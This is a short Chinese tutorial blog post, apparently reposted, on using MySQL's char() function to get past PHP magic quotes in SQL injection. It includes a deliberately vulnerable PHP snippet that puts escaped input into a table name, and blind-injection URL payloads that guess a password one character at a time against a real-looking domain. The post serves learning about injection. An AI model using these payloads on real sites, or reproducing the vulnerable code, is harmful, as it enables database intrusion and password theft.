char函数绕过魔术方法注入

Posted 可我浪费着我寒冷的年华

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了char函数绕过魔术方法注入相关的知识,希望对你有一定的参考价值。

我目前学习到的绕过魔术引号的几种方法(如果知道还有别的请万望告之):

1.倘若服务端是GBK可以尝试宽字节注入

2.使用char函数绕过魔术引号进行注入

3.同char函数类似的函数,例如bin(转换为2进制),或者oct(转换为8进制)

本篇就是介绍char函数来进行绕过魔术引号来注入。

以下CODE是一个源码案例:

<?php  
$link = mysqli_connect(\'localhost\', \'root\', \'root\');
mysqli_select_db($link, \'code\');

$table = addslashes($_GET[\'table\']);
$sql = "UPDATE `{$table}` 
        SET `username`=\'admin\'
        WHERE id=1";
if(!mysqli_query($link, $sql)) {  
    echo(mysqli_error($link));
}
mysqli_close($link);  

Paylaod:

假设:select * from user where username = \'def\';

是可以等价于:select * from user where username = char(100,101,102);

那么在注入中自然也是可以如此。

假设一个站:http://www.baidu.com/newinfo.php?id=1

知道了它的列。char结合left函数注入。

http://www.baidu.com/newinfo.php?id=1 and left(password,1)=char(109)

假设第一个真的是等于109那么就返回正确。

当然了可以使用比较运算符来进行猜解。

http://www.baidu.com/newinfo.php?id=1 and left(password,1)>char(100)

然后猜解第二个的时候(假设第一个的char为100)。

http://www.baidu.com/newinfo.php?id=1 and left(password,2)>char(100,80)

表示python不太会玩儿。如果有人写出脚本可以分享来一起学习一下。

 

以上是关于char函数绕过魔术方法注入的主要内容,如果未能解决你的问题,请参考以下文章

php反序列化漏洞绕过魔术方法 __wakeup

魔术引号addslashes和mysql_real_escape_string的防御以及绕过

一些注入绕过的姿势以及函数利用

SQL注入防御与绕过的几种姿势

详解PHP反序列化漏洞

SQL注入绕过waf的方法总结